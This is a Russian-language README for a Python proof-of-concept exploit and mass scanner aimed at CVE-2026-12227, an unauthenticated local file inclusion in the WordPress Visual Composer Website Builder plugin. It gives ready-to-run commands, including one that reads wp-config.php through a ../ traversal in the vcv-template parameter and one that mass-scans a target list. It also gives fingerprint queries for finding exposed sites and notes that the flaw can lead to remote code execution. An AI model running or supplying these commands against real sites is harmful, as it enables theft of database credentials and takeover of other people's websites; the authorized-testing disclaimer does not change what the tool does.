
Python 3 PoC и сканер для CVE-2026-12227 — неаутентифицированное локальное включение файлов в WordPress Visual Composer Website Builder через параметр vcv-template.
Python 3 PoC для CVE-2026-12227 (Wordfence): Local File Inclusion через параметр запроса vcv-template в Visual Composer Website Builder (visualcomposer на wordpress.org).
| Платформа | Плагин WordPress |
| Компонент | Visual Composer Website Builder |
| Уязвимые версии | ≤ 45.16.0 |
| Исправлено в | > 45.16.0 (WP Trac 3619572) — используйте последнюю стабильную версию (например, 45.16.3+) |
| CVSS | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Аутентификация | Не требуется |
| CWE | CWE-98 |
| Не является | WPBakery (js_composer) или SAP NetWeaver Visual Composer |
На уязвимых версиях публичные загрузки страниц учитывают контролируемый атакующим параметр vcv-template (вместе с vcv-template-type) во время обработки template_include в WordPress внутри PageTemplatesController. Это может привести к включению выбранных атакующим файлов на диске; PHP-файлы могут выполниться (RCE). Wordfence отмечает цепочки с загруженными «безопасными» расширениями в некоторых конфигурациях.
?vcv-template-type=vc&vcv-template=blank или LFI-пути в vcv-template.vcv-template-type, vcv-template-stretched.pip install -r requirements.txt
Python 3.8+.
# Version + plugin + VC page crawl + template/LFI probes
python poc.py -u https://target.example --mode check
# Known VC landing page
python poc.py -u https://target.example --mode check --page-url /
# Mass scan
python poc.py --list targets.example.txt --mode check --threads 25 --quiet
# Custom include path (authorized testing only)
python poc.py -u https://target.example --mode exploit --page-url / --file ../../../../../../wp-config.php
# JSON for scripting
python poc.py -u https://target.example --mode check --json
| Файл | Значение |
|---|---|
cve_2026_12227_results.jsonl | Полный JSON по каждой цели |
hits.txt | Кандидатные имена хостов |
candidates.jsonl | Сводка режима проверки (page_url, status, lfi) |
| Статус | Значение |
|---|---|
lfi_confirmed | Ответ соответствует эвристикам wp-config / /etc/passwd / version.php |
vcv_template_controllable | vcv-template=blank изменяет вёрстку относительно базовой (уязвимый параметр учитывается) |
plugin_vuln_no_surface | Старая версия плагина, но нет VC-страницы или параметр игнорируется |
no_vc_page | Плагин присутствует, но маркеры VC не найдены на просканированных путях |
patched | Версия > 45.16.0 |
body="/wp-content/plugins/visualcomposer/"
body="data-vcv-" && body="wp-content"
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php (getCurrentTemplateLayout, viewPageTemplate).exploitable_candidate; подтвердите на копии стенда, прежде чем предполагать RCE.Используйте только на системах, которыми вы владеете или на которые у вас есть явное разрешение на тестирование.